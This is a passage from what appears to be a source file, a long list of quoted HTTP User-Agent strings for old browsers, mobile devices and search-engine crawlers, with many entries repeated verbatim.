'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
